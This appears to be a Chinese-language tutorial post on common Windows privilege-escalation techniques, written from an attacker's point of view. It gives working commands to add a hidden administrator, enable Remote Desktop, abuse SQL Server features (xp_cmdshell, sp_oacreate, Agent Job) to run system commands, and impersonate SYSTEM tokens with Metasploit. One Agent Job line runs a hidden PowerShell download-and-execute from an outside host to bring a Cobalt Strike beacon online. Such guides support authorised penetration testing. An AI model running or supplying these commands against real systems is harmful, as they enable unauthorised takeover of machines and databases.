1. 程式人生 > 實用技巧 >Windows提權的幾種常用姿勢

Windows提權的幾種常用姿勢

當獲取主機許可權時,我們總是希望可以將普通使用者提升為管理員使用者,以便獲得高許可權完全控制目標主機。Windows常用的提權方式有:核心提權、資料庫提權、系統配置錯誤提權、組策略首選項提權、Bypass UAC提權、令牌竊取提權等姿勢。

1、核心溢位漏洞提權

由於目標系統沒有及時安裝補丁,攻擊者可以利用Windows系統核心溢位漏洞進行提權,輕易獲取system許可權。
(1)通過systeminfo比對KB編號,發現系統是否存在漏洞。
github專案地址:

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

(2)找到對應漏洞的exp執行,獲取system許可權

github專案地址:

https://github.com/SecWiki/windows-kernel-exploits

(3)新增管理員

net user 使用者名稱 密碼 /add
net localgroup Administrators 使用者名稱 /add

(4)開啟遠端桌面

# 開啟遠端
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
# 查詢遠端埠
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal
" "Server\WinStations\RDP-Tcp /v PortNumber

2、資料庫提權

2.1 MySQL提權

利用mysql的幾種提權方式,如udf提權、mof提權、啟動項提權等。

udf提權:通過建立使用者自定義函式,對mysql功能進行擴充,可以執行系統任意命令,將mysql賬號root轉化為系統system許可權。
mof提權:在windows平臺下,c:/windows/system32/wbem/mof/nullevt.mof 這個檔案會每間隔一段時間(很短暫)就會以system許可權執行一次,所以,只要我們將我們先要做的事通過程式碼儲存到這個mof檔案中,就可以實現許可權提升。
啟動項提權:將後面指令碼上傳到系統啟動目錄,當伺服器重啟就會自動執行該指令碼,從而獲取系統許可權。

2.2 SQL Server 提權

利用SQL Sercer執行系統命令的方式也有多種,比如xp_cmdshell、SP_OACREATE、沙盒、Agent Job、CLR來提權。

1、使用xp_cmdshell進行提權

# 啟用xp_cmdshell
EXEC master..sp_configure 'show advanced options', 1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell', 1;RECONFIGURE;
# 通過xp_cmdshell執行系統命令
Exec master.dbo.xp_cmdshell 'whoami'

2、SP_OACREATE

# 開啟元件
EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'show advanced options', 0;
# 執行系統命令(無回顯)
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami'

3、通過沙盒執行命令

# 開啟沙盒
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
# 利用jet.oledb執行命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')

4、通過Agent Job執行命令
修改開啟Ageent Job,執行無回顯CobaltStrike生成powershell上線

USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://192.168.214.129:80/a''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';

3、系統配置錯誤提權

3.1 許可權配置錯誤

如果管理員許可權配置錯誤,將導致低許可權使用者對高許可權執行的檔案擁有寫入許可權,那麼低許可權使用者就可以替換成惡意後門檔案,獲取系統許可權。一般在啟動項、計劃任務,服務裡查詢錯誤配置,嘗試提權。

3.2 可信任服務路徑漏洞

當一個服務的可執行檔案路徑含有空格,卻沒有使用雙引號引起來,那麼這個服務就存在漏洞。根據優先順序,系統會對檔案路徑中空格的所有可能進行嘗試,直到找到一個匹配的程式。

3.3 不安全的登錄檔許可權配置

如果低許可權使用者對程式路徑所對應的鍵值有寫許可權,那麼就可以控制這個服務,執行後門程式,從而獲取許可權。

# 儲存Windows服務有關的資訊
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
# 服務對應的程式路徑儲存
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Vulnerable Service\服務名\ImagePath

3.4 AlwaysInstallElevated

登錄檔鍵AlwaysInstallElevated是一個策略設定項。windows允許低許可權使用者以System許可權執行安裝檔案。如果啟用此策略設定項,那麼任何許可權使用者都能以NT AUTHORITY\SYSTEM許可權來安裝惡意的MSI(Microsoft Windows Installer)檔案。

4、組策略首選項提權

SYSVOL是域內的共享資料夾,用來存放登入指令碼、組策略指令碼等資訊。當域管理員通過組策略修改密碼時,在指令碼中引入使用者密碼,就可能導致安全問題。
(1)訪問SYSVOL共享資料夾,搜尋包含“cpassword”的XML檔案,獲取AES加密的密碼。


(2)使用kali自帶的gpp-decrypt進行破解

5、Bypass UAC提權

UAC(User Account Control,使用者賬號控制),是微軟引入的一種安全機制。Bypass UAC提權,可以將管理員許可權提升到system許可權。
使用msf模組:

msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac 
meterpreter > getuid
meterpreter > getsystem

6、令牌竊取提權
通過竊取令牌獲取管理員許可權,在MSF中,可以使用incognito實現token竊取。

meterpreter > use incognito           #進入incognito模組
meterpreter > list_tokens -u          #列出令牌
meterpreter > impersonate_token "NT AUTHORITY\SYSTEM"   #模擬令牌